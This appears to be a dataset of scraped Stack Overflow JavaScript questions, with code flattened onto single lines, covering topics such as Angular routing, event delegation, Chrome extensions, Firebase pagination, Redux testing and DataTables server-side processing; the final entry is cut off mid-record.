: Routes = [ { { path : 'myfeature ' , loadChildren : ( ) = > import ( './someFeature/someFeature.module ' ) .then ( m = > m.someFeatureModule ) , canActivate : [ AuthGuard ] , runGuardsAndResolvers : 'always ' , } } ] @ NgModule ( { imports : [ RouterModule.forRoot ( routes , { onSameUrlNavigation : 'reload ' } ) ] , exports : [ RouterModule ] , } ) export class AppRoutingModule { } const routes : Routes = [ { path : `` , component : someFeatureComponent , } , ] ; @ NgModule ( { imports : [ RouterModule.forChild ( routes ) ] , exports : [ RouterModule ] , } ) ngOnInit ( ) : void { this.unsubscribe $ = new Subject < void > ( ) ; this.route .queryParams.pipe ( takeUntil ( this.unsubscribe $ ) , map ( p = > { this.loading = true ; if ( p.page & & p.limit ) { this.page = p.page ; this.limit = p.limit ; } return { page : this.page , limit : this.limit , } ; } ) , flatMap ( ( f ) = > this.myService.getData ( f ) ) , tap ( ( ) = > this.loading = false ) , ) .subscribe ( ( payload ) = > { this.data = payload.data ; } ) ; } reload ( ) : void { this.router.navigate ( [ 'someFeature ' ] , { queryParams : { page : this.page , limit : this.limit } } ) ; } refetchDataOnClick ( ) { this.reload ( ) ; }",Angular onSameUrlNavigation for a lazy loaded module "JS : How do I implement event delegation for the mouseenter event ? I 'm looking for the equivalent to this jQuery code , but did n't manage to understand how jQuery does it internally : I 've seen this other question about it , but no proper solution was provided . I 've also read Mozilla docs regarding mouseenter and delegation , and besides saying it 's not compatible with any browser , the example they provided throws error on the JS console and does n't work.I 've also checked this codepen , which does n't work on Chrome either ( did n't try other browsers ) .Any idea ? This is what I 'm trying so far , but the target element seems to always bubble up : You can play with it in this jsfiddle . $ ( document ) .on ( 'mouseenter ' , '.demo ' , foo ) ; document.addEventListener ( 'mouseenter ' , function ( e ) { console.log ( '============================== ' ) ; console.log ( e.currentTarget ) ; //document console.log ( e.target ) ; //document console.log ( e.relatedTarget ) ; //nothing console.log ( e.handleObj ) ; //nothing } ) ;",mouseenter delegation using vanilla JavaScript ? "JS : I 've been Googling quite some time for e.g . 'typeof ' and 'performance ' , but I have n't been able to find a satisfactory answer to the following problem.I am trying to implement complex numbers for the Transcrypt Python to JavaScript compiler , using local operator overloading . Since we 're dealing with a dynamically typed language , it can not be predicted what type of data will be in a variable.If I translate x + y to JavaScript , having operator overloading switched on , it will translate e.g . as __add__ ( x , y ) In order to do the right thing , the __add__ function has to check for both x and y whether they are 'ordinary ' JavaScript numbers or if one of them or both of them are of type 'complex ' , since that requires special operations.The most obvious way to do that is to test for typeof x == 'number ' . However , coming from a C/C++ background , it seems ridiculously inefficient to test for equality with a string with six characters which on top of that first has to be retrieved from memory , only to possible add two integers , which for many processors , once parsed , would be only one instruction.What amazes me most is that checks like this are advised everywhere around the internet as the normal thing to do . Does anyone know if x == 'number ' or possible x === 'number ' is somehow cleverly optimized to prevent a full string comparison.To further clarify the problem , here 's my current code for the __add__ operator , using the string comparison.If not can anyone hint me on a quicker way to distinguish between a number and an arbitrary non-numerical object.Thanks for the tips . The source is now : translated by : to : def __add__ ( self , other ) : if __typeof__ ( other ) == 'number ' : # Translates to : if ( typeof other == 'number ' ) { return complex ( self.real + other , self.imag ) else : # Other is complex return complex ( self.real + other.real , self.imag + other.imag ) def __sub__ ( self , other ) : if __typeof__ ( other , 'number ' ) : return complex ( self.real - other , self.imag ) else : return complex ( self.real - other.real , self.imag - other.imag ) elif node.func.id == '__typeof__ ' : self.emit ( 'typeof ' ) self.visit ( node.args [ 0 ] ) self.emit ( ' === ' ) # Give JavaScript string interning a chance to avoid char by char comparison self.visit ( node.args [ 1 ] ) return get __add__ ( ) { return __get__ ( this , function ( self , other ) { if ( typeof other === 'number ' ) { return complex ( self.real + other , self.imag ) ; } else { return complex ( self.real + other.real , self.imag + other.imag ) ; } } ) ; } ,",Performance if ( typeof x == 'number ' ) ? "JS : Does Chai , matchers have an equilivent to rspecs =~ ( which means has all elements but order does n't matter.Passing exampleFailing [ 1 , 2 , 3 ] .should =~ [ 2 , 1 , 3 ] [ 1 , 2 , 3 ] .should =~ [ 1 , 2 ]",Equivalent to rspec =~ for arrays in Chai "JS : I wrote a function to uncheck a checkbox if another one is checked , I am using jQuery to call uncheck ( ) on those specific input.I am getting the result I want . When I check test then check notTest , Test is being unchecked . BUT when I am pressing Test again , the test checkbox is refusing to check unless I manually uncheck notTest.I included the code snippet , please can figure out what is wrong ? The code is running normally on Wordpress but unfortunately not here . function uncheck ( ) { var notTest = document.getElementById ( `` choice_31_3_2 '' ) ; var Test = document.getElementById ( `` choice_31_3_1 '' ) ; if ( notTest.checked ) { Test.checked = false ; } if ( Test.checked ) { notTest.checked = false ; } } jQuery ( `` # choice_31_3_1 '' ) .click ( uncheck ) ; jQuery ( `` # choice_31_3_2 '' ) .click ( uncheck ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < input name= '' input_3.1 '' value= '' Test '' id= '' choice_31_3_1 '' type= '' checkbox '' > < label for= '' choice_31_3_1 '' id= '' label_31_3_1 '' > Test < /label > < input name= '' input_3.2 '' value= '' notTest '' id= '' choice_31_3_2 '' type= '' checkbox '' > < label for= '' choice_31_3_2 '' id= '' label_31_3_2 '' > notTest < /label >",Uncheck a checkbox when another is checked "JS : I am trying to setup google sign in for my web app . Currently , it is In the development state and running on http : //localhost:8080/auth . I am using default Sign-In button provided by Google for user sign in . Whenever a new iFrame opens for user authentication , it hangs infinitely . When I checked a console , the following error message was shown there : Uncaught Failed to get parent origin from URL hash ! Do n't know what is the problem . I searched on various platforms but did n't find the solution anywhere , not even a thread discussing the issue . Similar questions are available on SO ( 1 and 2 ) but they are unanswered . This is how my simple HTML code looks like : Can somebody please help ? It will help me and probably other 2 guys who had asked this question today itself . < html > < head > < script src= '' https : //apis.google.com/js/platform.js '' async defer > < /script > < meta name= '' google-signin-client_id '' content= '' client-id-prefix.apps.googleusercontent.com '' > < /head > < body > < div class= '' g-signin2 '' data-onsuccess= '' onSignIn '' > < /div > < /body > < /html >",Uncaught Failed to get parent origin from URL hash "JS : I am trying to understand the D3.js code for this example and am confused by this code : What does the second line of this code actually do ? What data does it bind to ? var circle = interpolation.selectAll ( `` circle '' ) .data ( Object ) ; circle.enter ( ) .append ( `` circle '' ) .attr ( `` r '' , 4 ) .attr ( `` fill '' , '' yellow '' ) ; circle .attr ( `` cx '' , function y ( d ) { console.log ( d.attr ( `` class '' ) ) ; return d.x ; } ) .attr ( `` cy '' , function ( d ) { return d.y ; } ) ;",What does binding to Object do in D3.js "JS : I have an application built in Html5 and wrapped in PhoneGap for AndroidI have an auto-complete inputOn a computer auto-complete input works great ! In SmartPhone , the auto-complete works only after you make space on the Input ( If write numbers first - works ! If letters - works only after space ) Why ? JS code : HTML : The input : The List : //Run in document.readyfunction AutoComplete ( ) { List = $ .map ( data.XXX , function ( item ) { return { label : item.X , value : item.XX } ; } ) ; $ ( `` # MyInput '' ) .autocomplete ( { source : List , link : ' # ' , target : $ ( ' # MyList ' ) , minLength : 1 } ) ; } < input id= '' MyInput '' type= '' text '' placeholder= '' XXX '' / > < ul id= '' MyList '' data-role= '' listview '' data-inset= '' true '' > < /ul >",Android auto complete only after space ? "JS : I 'm trying to develop a simple chrome extension . There is a pageAction 's default icon that should appear on the pages with a specific URL ( http : //www.example.com/* ) .There is a two filemanifest.jsonbackground.jsrule1 should show pageAction 's icon and rule2 should change icon to green version on the pages with URL that looks like http : //www.example.com/ ? q1=greenBut during installation of extension things come to : { `` manifest_version '' : 2 , `` name '' : `` name '' , `` description '' : `` description '' , `` version '' : `` 1.0 '' , `` background '' : { `` scripts '' : [ `` background.js '' ] , `` persistent '' : false } , `` page_action '' : { `` default_icon '' : `` images/icons/19.png '' } , `` permissions '' : [ `` declarativeContent '' ] } chrome.runtime.onInstalled.addListener ( function ( ) { chrome.declarativeContent.onPageChanged.removeRules ( undefined , function ( ) { chrome.declarativeContent.onPageChanged.addRules ( [ { // rule1 conditions : [ new chrome.declarativeContent.PageStateMatcher ( { pageUrl : { urlPrefix : 'http : //www.example.com/ ' } } ) ] , actions : [ new chrome.declarativeContent.ShowPageAction ( ) ] } , { // rule2 conditions : [ new chrome.declarativeContent.PageStateMatcher ( { pageUrl : { queryContains : 'q1=green ' } } ) ] , actions : [ new chrome.declarativeContent.SetIcon ( { path : { `` 19 '' : `` images/icons/green.png '' } } ) ] } ] ) ; } ) ; } ) ; Error in response to events.removeRules : Error : Invalid value for argument 1 . Property '.0 ' : Value does not match any valid type choices .",Ca n't pass arguments to chrome.declarativeContent.SetIcon "JS : I recently needed to append some data to dynamically created LI elements . In my first instance , I used .data ( ) in a way likethat.. was terribly slow . This logic happens in a loop which can easily grow up to 500+ items , it took ages ! Sometimes it even broke the javascript execution time frame.So I changed to $ .data ( ) . Somehow , attaching data to an object with that is like 8x faster than doing it over the .data ( ) method call . So now it looked likeThat was/is indeed faster , but still it took like 3-4 seconds ( ! ) to build up all my elements ( In my real code there are like 6 calls to $ .data per element ) .So I was really stuck with that , I asked myself why the heck to use .data ( ) or $ .data ( ) anyway ? I could just attach my data to the DOM object . So I didVoila , wow to my shock , that was incredibly fast ! I could n't believe that this ran so good without any disadvantage . So that is what is my question all about actually . I did n't find any disadvantage for this technique so far on the net . There are reads about circular references you can create using this way , but AFAIK `` only '' on IE 's and only if you refer to objects.Any thoughts experts ? updateThanks for the good comments and postings guys . Short update @ patrick dw : You are right , I was passing the underlaying DOM element when using $ .data ( ) . It does not even work with jQuery objects , at least not as expected.The idea about using one object and pass it through $ .date ( ) I had myself , but then again I was so shocked about the performance difference I decided just to ignore the .data ( ) method like forever . var _newli = $ ( ' < li > foobar < /li > ' ) ; _newli.data ( 'base ' , 'ball ' ) ; // append _newli to an ` ul ` var _newli = $ ( ' < li > foobar < /li > ' ) ; $ .data ( _newli [ 0 ] , 'base ' , 'ball ' ) ; // append _newli to an ` ul ` var _newli = $ ( ' < li > foobar < /li > ' ) ; _newli [ 0 ] .base = 'ball ' ; // append _newli to an ` ul `",jQuerys $ .data ( ) vs. DOM Object property "JS : So let 's say that I have a reducer which has several branches , but each branch is similar enough to generate with a factory function . So , I create one : Which I use to compose a larger root-level state tree : That should give me a state graph which would look like this : If I wanted to test this state , my first instinct is to create a version of this scope in my test suite , and then test that isolated reducer ( just asserting against the contents , and meta branches ) .The complication here is that I 'm trying to also test selectors , and all of the selector designs I 've read seem to suggest these two things : You encapsulate your state by colocating selectors and reducers in the same file.mapStateToProps should only need to know two things , the global state and a relevant selector.So here 's my problem : Pairing together these more or less composed reducers with root-level-concerned selectors has made my tests a little thick with boilerplate.Not to mention that hard-writing selectors with knowledge of the entire tree feels like it defies the point of the reducer modularity attempt.I 'm 100 % sure I 'm missing something obvious , but I ca n't really find any example code which demonstrates a way to test modular reducers and selectors.If a selector generally should know the entire global state , but you have reducers which are highly composed , is there a clean , idiomatic approach to testing that ? Or maybe a more composable selector design ? import { combineReducers } from 'redux'const createReducerScope = scopeName = > { const scope = scopeName.toUpperCase ( ) const contents = ( state = { } , action ) = > { switch ( action.type ) { case ` $ { scope } _INSERT ` : return { ... state , [ action.id ] : action.item } default : return state } } const meta = ( state = { } , action ) = > { switch ( action.type ) { case ` $ { scope } _REQUEST ` : return { ... state , requesting : true } case ` $ { scope } _REQUEST_FAILURE ` : return { ... state , requesting : false , errorMessage : String ( action.error ) } case ` $ { scope } _REQUEST_SUCCESS ` : return { ... state , requesting : false , errorMessage : null } default : return state } } return combineReducers ( { contents , meta } ) } const products = createReducerScope ( 'products ' ) const orders = createReducerScope ( 'orders ' ) const trades = createReducerScope ( 'trades ' ) const rootReducer = combineReducers ( { products , orders , trades } ) { products : { contents , meta } , orders : { contents , meta } , trades : { contents , meta } }",Is there an idiomatic way to test nested state branches ? "JS : I am fairly new to developing chrome extensions , more specifically to the user authentication part in chrome extensions . I am following User Identity example from Google Developer docs . The example works perfectly fine . I was able to generate the client id for the chrome app , add the scope for API 's in my case Gmail API . And finally get the Auth Token by adding the identitypermission in manifest.json as followsAnd my app.js is a content_script which has the following code . Now this token that I get gives me the result for the user with which I have logged into chrome . Meaning Let 's say I have a UserA with email address user_a @ gmail.com and I have used this log into the chrome browser . QuestionHow do I get the associated accounts or the secondary accounts ? For instance , let 's say a User Blogs into Gmail from the chrome browser . Is it possible to access the Gmail API for that particular user who is currently logged in ? I have tried a couple of things here . In the above scenario , the client id and scopes are fetched from the manifest.json using chrome.runtime.getManifest ( ) ; .This method uses the client.js from google api 's and makes use of gapi variable . In this case , I get the access token for the user whom I generated the client id , not even the chrome application user . Furthermore , When I open an incognito mode and access this plugin , still I get the same user 's access token . Additional Note I tried the same gapi.auth.authorize ( ) using a Web OAuth 2 Client Id . It works perfectly fine . I mean whenever this authorize is executed it fetches the current logged in user 's data or it asks for a login where the user can log in and authenticate . How do I achieve the same thing in chrome extension ? Kindly let me know if I am missing something here . `` oauth2 '' : { `` client_id '' : `` MY CLIENT ID '' , `` scopes '' : [ `` https : //www.googleapis.com/auth/gmail.readonly '' , `` https : //www.googleapis.com/auth/gmail.modify '' ] } chrome.identity.getAuthToken ( { 'interactive ' : true } , function ( token ) { /* With which I can use xhr requests to get data from Gmail API */ console.log ( 'Access Token : '+token ) ; } ) ; gapi.auth.authorize ( { 'client_id ' : CLIENT_ID , 'scope ' : SCOPES.join ( ' ' ) , 'immediate ' : true } , function ( authResult ) { //do something } ) ;",Getting the Auth Token for the secondary Id from Google chrome extension using OAuth 2.0 & Client ID JS : The UPDATED DEMO works quite well except for the fact that the background image is getting resized when I change : Is it possible to keep the original image size and make background images overlap ( hide the part of image that exceeds the top-left box ( 20px 20px ) ) ? The B plan would be to to crop the image with JS in set base64 image content ... background-size : 20px 20px ;,Display background grid by using image with CSS "JS : What is the main difference between of using this ... ... and this ? Will there be any different result or any cause ? document.addEventListener ( 'mousedown ' , function ( ) { // code } , false ) ; document.onmousedown = function ( ) { // code }",What is the difference of using addEventListener ? "JS : Im using Valums awesome file uploader - https : //github.com/valums/file-uploaderOne thing i want to add to it is a limit based on the users account balance.The first image is always free , so you may upload one image even if your balance is 0.Additional images will require 0.50 worth or credit . If they do n't have enough credit it will show an alert and the file will not be uploaded.the balance can be received from a php session variable $ _SESSION [ 'user ' ] [ 'credit ' ] Here is the code so farSorry , the question is , can you offer any advice on implementing what i have described above ? CheersEdit : I have tried the following using the recommendation below ( probably incorrectly ) .My attempt to stop the file uploading with return false is unsuccessful , the upload starts immediately , seems to get paused by the alert and once the alert is closed the upload completes.documentation says onSubmit ( String id , String fileName ) - called when the file is submitted to the uploader portion of the code . Note that this does not mean the file upload will begin at this point . Return false to prevent submission to the uploader.Simplified it , this worksi am then counting the uploaded files on a confirmation page which deducts the credit function createUploader ( ) { var running = 0 ; var uploader = new qq.FileUploader ( { multiple : true , element : $ ( ' # file-uploader ' ) [ 0 ] , action : 'classes/upload.item.php ' , allowedExtensions : [ 'jpg ' , 'png ' , 'gif ' ] , params : { item : ' < ? php echo $ item_id ? > ' } , onSubmit : function ( id , fileName ) { running++ ; $ ( '.button ' ) .replaceWith ( ' < a class= '' button large grey full-width '' > Please wait ... < /a > ' ) ; } , onComplete : function ( id , fileName , responseJSON ) { running -- ; $ ( `` .thumbnails '' ) .append ( ' < li class= '' span2 '' > < a class= '' thumbnail '' > < img src= '' < ? php echo $ path ; ? > '+fileName+ ' '' / > < /a > < /li > ' ) ; if ( running==0 ) { $ ( '.button ' ) .replaceWith ( ' < a class= '' button large green full-width '' href= '' confirm/ < ? php echo $ item_id ; ? > '' > Continue to next step < /a > ' ) ; } } , onCancel : function ( id , fileName ) { running -- ; } , debug : true } ) ; } < ? php// count uploaded files $ path = 'uploads/ ' . $ _SESSION [ 'user ' ] [ 'username ' ] . '/ ' . $ item_id . '/thumbs/s_ ' ; $ files = glob ( $ path . '* . * ' ) ; // has free upload been used yet ? incase of page refresh etcif ( count ( $ files ) > = 1 ) { $ used_free = 'true ' ; } else { $ used_free = 'false ' ; } ? > < script > function createUploader ( ) { var credit = < ? php echo $ _SESSION [ 'user ' ] [ 'credit ' ] ? > ; var used_free = < ? php echo $ used_free ? > ; var running = 0 ; var uploader = new qq.FileUploader ( { multiple : true , element : $ ( ' # file-uploader ' ) [ 0 ] , action : 'classes/upload.item.php ' , allowedExtensions : [ 'jpg ' , 'png ' , 'gif ' ] , params : { item : ' < ? php echo $ item_id ? > ' } , onSubmit : function ( id , fileName ) { console.log ( used_free ) ; if ( ! used_free ) { used_free = 'true ' ; running++ ; $ ( '.button ' ) .replaceWith ( ' < a class= '' button large grey full-width '' > Please wait ... < /a > ' ) ; } else { $ .get ( 'ajax/getCredit.php ' , function ( data ) { if ( data.credit > = 0.5 ) { running++ ; $ ( '.button ' ) .replaceWith ( ' < a class= '' button large grey full-width '' > Please wait ... < /a > ' ) ; } else { alert ( 'you do not have enough credits ' ) ; return false ; } } , `` json '' ) ; } } , onComplete : function ( id , fileName , responseJSON ) { running -- ; $ ( `` .thumbnails '' ) .append ( ' < li class= '' span2 '' > < a class= '' thumbnail '' > < img src= '' < ? php echo $ path ; ? > '+fileName+ ' '' / > < /a > < /li > ' ) ; if ( running==0 ) { $ ( '.button ' ) .replaceWith ( ' < a class= '' button large green full-width '' href= '' confirm/ < ? php echo $ item_id ; ? > '' > Continue to next step < /a > ' ) ; } } , onCancel : function ( id , fileName ) { running -- ; } , debug : true } ) ; } < /script > function createUploader ( ) { var credit = < ? php echo $ _SESSION [ 'user ' ] [ 'credit ' ] ? > ; var used_free = < ? php echo $ used_free ? > ; var running = 0 ; var uploader = new qq.FileUploader ( { multiple : true , element : $ ( ' # file-uploader ' ) [ 0 ] , action : 'classes/upload.item.php ' , allowedExtensions : [ 'jpg ' , 'png ' , 'gif ' ] , params : { item : ' < ? php echo $ item_id ? > ' } , onSubmit : function ( id , fileName ) { if ( ! used_free ) { used_free = 'true ' ; running++ ; $ ( '.button ' ) .replaceWith ( ' < a class= '' button large grey full-width '' > Please wait ... < /a > ' ) ; } else { if ( credit > = 0.5 ) { running++ ; credit = credit - 0.5 ; $ ( '.button ' ) .replaceWith ( ' < a class= '' button large grey full-width '' > Please wait ... < /a > ' ) ; } else { alert ( 'you do not have enough credits ' ) ; return false ; } } } , onComplete : function ( id , fileName , responseJSON ) { running -- ; $ ( `` .thumbnails '' ) .append ( ' < li class= '' span2 '' > < a class= '' thumbnail '' > < img src= '' < ? php echo $ path ; ? > '+fileName+ ' '' / > < /a > < /li > ' ) ; if ( running==0 ) { $ ( '.button ' ) .replaceWith ( ' < a class= '' button large green full-width '' href= '' confirm/ < ? php echo $ item_id ; ? > '' > Continue to next step < /a > ' ) ; } } , onCancel : function ( id , fileName ) { running -- ; } , debug : true } ) ; }",Valums file-uploader : Limit uploads by users credit "JS : Before flagging this as a duplicate , please read below , and check my code * my updated code ! So my problem is that , I have to implement Java/JavaScript ' > > > ' ( Unsigned Right Shift / Zero-fill Right Shift ) , but I ca n't get it work exactly the same way.I 've selected the 11 most promising implementations I 've found on SO and on the web ( links are added as comments in the code ) and added a few test cases . Unfortunately NONE of the functions returned the same response as Java/JS to ALL of the tests . ( Maybe some of them are only working on 32bit systems ) Live Code + JS+PHP results demo ( click Run ) : http : //phpfiddle.org/main/code/bcv7-bs2q * http : //phpfiddle.org/main/code/dpkw-rxfeThe closest functions are : andUnfortunately shr9 fails on ( -10 > > > -3 ) and * ( 32 > > 32 ) , but is the only to pass ( -3 > > > 0 ) ; and shr11 fails on ( -3 > > > 0 ) and also ( 32 > > > 32 ) .Test cases : Edit : I found that -3 > > > 0 is equals 4294967293 only in JavaScript ( why ? ) , but in Java , it equals -3 . Unfortunately , this does n't change the fact that I still ca n't get any function to pass all tests . *BIG UPDATE : Since PHP 7 , bit shift by a negative number is considered to be invalid and causes : `` Fatal error : Uncaught ArithmeticError : Bit shift by negative number '' . According to this , I think we do n't have to pass those tests , so I 've updated the question and the codes . // http : //stackoverflow.com/a/27263298function shr9 ( $ a , $ b ) { if ( $ a > =0 ) return $ a > > $ b ; if ( $ b==0 ) return ( ( $ a > > 1 ) & 0x7fffffff ) *2+ ( ( $ a > > $ b ) & 1 ) ; return ( ( ~ $ a ) > > $ b ) ^ ( 0x7fffffff > > ( $ b-1 ) ) ; } // http : //stackoverflow.com/a/25467712function shr11 ( $ a , $ b ) { if ( $ b > 32 || $ b < -32 ) { $ m = ( int ) ( $ b/32 ) ; $ b = $ b- ( $ m*32 ) ; } if ( $ b < 0 ) $ b = 32 + $ b ; if ( $ a < 0 ) { $ a = ( $ a > > 1 ) ; $ a & = 2147483647 ; $ a |= 0x40000000 ; $ a = ( $ a > > ( $ b - 1 ) ) ; } else { $ a = ( $ a > > $ b ) ; } return $ a ; } 0 > > > 3 == 0 3 > > > 0 == 3 0 > > > -3 == 0 -3 > > > 0 == 4294967293 ( in JS ) ; -3 ( in Java ) 10 > > > 3 == 1 10 > > > -3 == 0 -10 > > > 3 == 536870910 -10 > > > -3 == 7 -672461345 > > > 25 == 107 32 > > > 32 == 32 128 > > > 128 == 128",Unsigned Right Shift / Zero-fill Right Shift / > > > in PHP ( Java/JavaScript equivalent ) "JS : I have a string which contains a lot of text , text , in my JavaScript file . I also have an element , div # container that is styled ( using separate CSS ) with potentially nonstandard line-height , font-size , font-face , and maybe others . It has a fixed height and width . I 'd like to get the maximum amount of text that can fit into div # container without any overflow from the string . What 's the best way of doing this ? This needs to be able to work with text formatted with tags , for example : Currently , I 've got a JQuery plugin that works for plain text , code follows : UPDATE : The data looks like this : < strong > Hello person that is this is long and may take more than a < /strong > line and so on . // returns the part of the string that can not fit into the object $ .fn.func = function ( str ) { var height = this.height ( ) ; this.height ( `` auto '' ) ; while ( true ) { if ( str == `` '' ) { this.height ( height ) ; return str ; // the string is empty , we 're done } var r = sfw ( str ) ; // r = [ word , rest of String ] ( sfw is a split first word function defined elsewhere var w = r [ 0 ] , s = r [ 1 ] ; var old_html = this.html ( ) ; this.html ( old_html + `` `` + w ) ; if ( this.height ( ) > height ) { this.html ( old_html ) ; this.height ( height ) ; return str ; // overflow , return to last working version } str = s ; } } < ol > < li > < h2 > Title < /h2 > < ol > < li > Character < /li > < ol > < li > Line one that might go on a long time , SHOULD NOT BE BROKEN < /li > < li > Line two can be separated from line one , but not from itself < /li > < /ol > < /ol > < ol > < li > This can be split from other < /li > < ol > < li > Line one that might go on a long time , SHOULD NOT BE BROKEN < /li > < li > Line two can be separated from line one , but not from itself < /li > < /ol > < /ol > < /li > < li > < h2 > Title < /h2 > < ol > < li > Character < /li > < ol > < li > Line one that might go on a long time , SHOULD NOT BE BROKEN < /li > < li > Line two can be separated from line one , but not from itself < /li > < /ol > < /ol > < ol > < li > This can be split from other < /li > < ol > < li > Line one that might go on a long time , SHOULD NOT BE BROKEN < /li > < li > Line two can be separated from line one , but not from itself < /li > < /ol > < /ol > < /li > < /ol >","most reliable way of getting x pixels worth of text from string , javascript" "JS : I am using QUnit , which is excellent.I have enclosed my JS app in the ( function ( ) { } ) ( ) ; sandbox . This hides a lot of code that I do n't want public , but I also need to test that code.Here is an example of how this works : So here I can easily unit test PublicAPI.publicFunction , but how will I test PrivateAPI.privateFunction ? ( function ( ) { var PublicAPI = window.PublicAPI = { } ; PublicAPI.publicFunction = function ( foo ) { PrivateAPI.privateFunction ( foo ) ; return 'bar ' ; } ; var PrivateAPI = { } ; PrivateAPI.privateFunction : function ( foo ) { // Make secret stuff that never gets returned to the public // Could be an AJAX call . } } ) ( ) ;",Javascript Sandbox unit testing "JS : I have the following code in JavaScript : Code seems to be workable . But JSLint warns like this : So what the problem is ? How to disable such warnings ? var a = num ? 5 : `` five '' ; # 2 Expected ' ? ' at column 9 , not column 15.var a = h ? 5 : `` qwerty '' ; // Line 10 , Pos 15 # 3 Expected ' : ' at column 9 , not column 19.var a = h ? 5 : `` qwerty '' ; // Line 10 , Pos 19",JSLint warns about ternary operator "JS : I 'm trying to write a regex that will find a string of HTML tags inside a code editor ( Khan Live Editor ) and give the following error : '' You ca n't put < h1.. 2.. 3.. > inside < p > elements . `` This is the string I 'm trying to match : This the string I do n't want to match : Instead the expected behavior is that another error message appears in this situation.So in English I want a string that ; - starts with < p > and - ends with < h1 > but - does not contain < /p > .It 's easy enough to make this work if I do n't care about the existence of a < /p > . My expression looks like this , / < p > . * < h [ 1-6 ] > / and it works fine . But I need to make sure that < /p > does not come between the < p > and < h1 > tags ( or any < h # > tag , hence the < h [ 1-6 ] > ) .I 've tried a lot of different expressions from some other posts on here : Regular expression to match a line that does n't contain a word ? From which I tried : < p > ^ ( ( ? ! < \/p > ) . ) * $ < /h1 > regex string does not contain substringFrom which I tried : /^ < p > ( ? ! < \/p > ) < h1 > $ /Regular expression that does n't contain certain stringThis link suggested : aa ( [ ^a ] | a [ ^a ] ) aaWhich does n't work in my case because I need the specific string `` < /p > '' not just the characters of it since there might be other tags between < p > ... < h1 > .I 'm really stumped here . The regex I 've tried seems like it should work ... Any idea how I would make this work ? Maybe I 'm implementing the suggestions from other posts wrong ? Thanks in advance for any help.Edit : To answer why I need this done : The problem is that < p > < h1 > < /h1 > < /p > is a syntax error since h1 closes the first < p > and there is an unmatched < /p > . The original syntax error is not informative , but in most cases it is correct ; my example being the exception . I 'm trying to pass the syntax parser a new message to override the original message if the regex finds this exception . < p > ... < h1 > < p > ... < /p > < h1 >",JavaScript Regex : Finding a String that does not contain < /p > "JS : I am asked a question today that took me by surprise . I know string.repeat ( number ) repeat string to the said numbers in javascript . Example.Should print FatherFatherFatherI was asked to do the same thing but instead using .repeat , i should use my new method like strRepeater in such a way that.Should equal Please how do i do this ? Any help would be appreciated . `` Father '' .repeat ( 3 ) `` Father '' .strRepeater ( 3 ) `` Father '' .repeat ( 3 ) ;",Rename builtin prototype method in javascript "JS : The following code failsWhy I can not use shorthand property name with this ? error messages from browserschrome 66.0.3359.117 : Uncaught SyntaxError : Unexpected token } firefox 59.0.1 : this is an invalid identifieredge 41.16299.371.0 : The use of a keyword for an identifier is invalidI do n't quite get what these messages say.Just to make it clear , the following code runs fine let x = { this } let x = 5let y = { x } let z = { this : this } console.log ( { x , y , z } )",shorthand property name with *this* "JS : UPDATE 8 : CODE : SITUATION : Ok , I have reworked my Firebase database architecture and changed the Firebase rules.I am now certain the Firebase function returns a value ( it is logged in the console ) .But I still get the following error : This HTML : gets REPLACED by this once RENDERED : What have I done wrong ? < % include ../partials/header % > < script src= '' https : //www.gstatic.com/firebasejs/3.5.2/firebase.js '' > < /script > < script src= '' https : //cdn.firebase.com/libs/firebase-util/0.2.5/firebase-util.min.js '' > < /script > < script src= '' http : //cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.2/angular.js '' > < /script > < script src= '' https : //cdn.firebase.com/libs/angularfire/1.1.4/angularfire.min.js '' > < /script > < script > var config = { info } ; firebase.initializeApp ( config ) ; var fb = firebase.database ( ) .ref ( `` posts/fun '' ) ; var app = angular.module ( 'app ' , [ 'firebase ' ] ) ; app.controller ( 'ctrl ' , function ( $ scope , $ firebaseArray , $ timeout ) { $ scope.data = [ ] ; var _start = 0 ; var _end = 4 ; var _n = 5 ; $ scope.getDataset = function ( ) { fb.orderByChild ( 'id ' ) .startAt ( _start ) .endAt ( _end ) .limitToLast ( _n ) .on ( `` child_added '' , function ( dataSnapshot ) { $ scope.data.push ( dataSnapshot.val ( ) ) ; console.log ( `` THE VALUE : '' + $ scope.data ) ; } ) ; _start = _start + _n ; _end = _end + _n ; } ; $ scope.getDataset ( ) } ) ; // Compile the whole < body > with the angular module named `` app '' angular.bootstrap ( document.body , [ 'app ' ] ) ; < /script > < div class = '' containerMarginsIndex '' > < div ng-controller= '' ctrl '' > < div class= '' fun '' ng-repeat= '' d in data '' > < h3 class= '' text-left '' > { { d.title } } < /h3 > < div class = `` postImgIndex '' > < a href= '' details/ { { d.id } } '' target= '' _blank '' > < img class= `` imgIndex '' ng-src= '' /images/uploads/ { { d.image } } '' > < /a > < /div > < div class= '' postScore '' > { { d.upvotes - d.downvotes } } HP < /div > < /div > < /div > < /div > < % include ../partials/footer % > < div class= '' fun '' ng-repeat= '' d in data '' > < h3 class= '' text-left '' > { { d.title } } < /h3 > < div class = `` postImgIndex '' > < a href= '' details/ { { d.id } } '' target= '' _blank '' > < img class= `` imgIndex '' ng-src= '' /images/uploads/ { { d.image } } '' > < /a > < /div > < div class= '' postScore '' > { { d.upvotes - d.downvotes } } HP < /div > < /div > < ! -- ngRepeat : d in data -- > == $ 0","How to implement Infinite Scrolling using Node.js , Angular.js and Firebase ?" "JS : I am using asp.net mvc5 and trying to use jquery datatable plugin server-side processing . The tutorials of server side processing show a format for returning result from server.But the difference in my project is that i can not send a typed array for 'data ' from server . I am sending whole tbody as string with all html tags . My datatable code as below.The Result of ajax is something like as below , the data is like because the view is generic for many tables and there are many situation that i should control.Thus , i am using StringBuilder in server side . If i put success to ajax the pagination elements disappear at the bottom of datatable . Why it is not allowed to use success in ajax ? i have all total features of datatable and is there any way to set features like iTotalRecords manually ? I know here is not datatable forum . I am sorry about this but i spent time a lot and can not find solution . I want to handle all features of datatable in ajax success manually.I am using last version of datatable . var e = t.DataTable ( { processing : true , serverSide : true , info : true , stateSave : true , PaginationType : `` full_numbers '' , ajax : { `` url '' : ' @ Url.Action ( `` AjaxGetJsonData '' , '' Define '' , new { tablename= @ HttpContext.Current.Request.QueryString [ `` tablename '' ] } ) ' , `` type '' : `` GET '' , `` success '' : function ( result ) { console.log ( result ) ; $ ( `` # sample_1 '' ) .find ( `` tbody '' ) .html ( result.data ) ; $ ( `` # sample_1_processing '' ) .hide ( ) ; Init ( ) ; //var oSettings = $ ( `` # sample_1 '' ) .dataTable ( ) .fnSettings ( ) ; //oSettings.iTotalRecords = result.recordsTotal ; } } Object { draw : 1 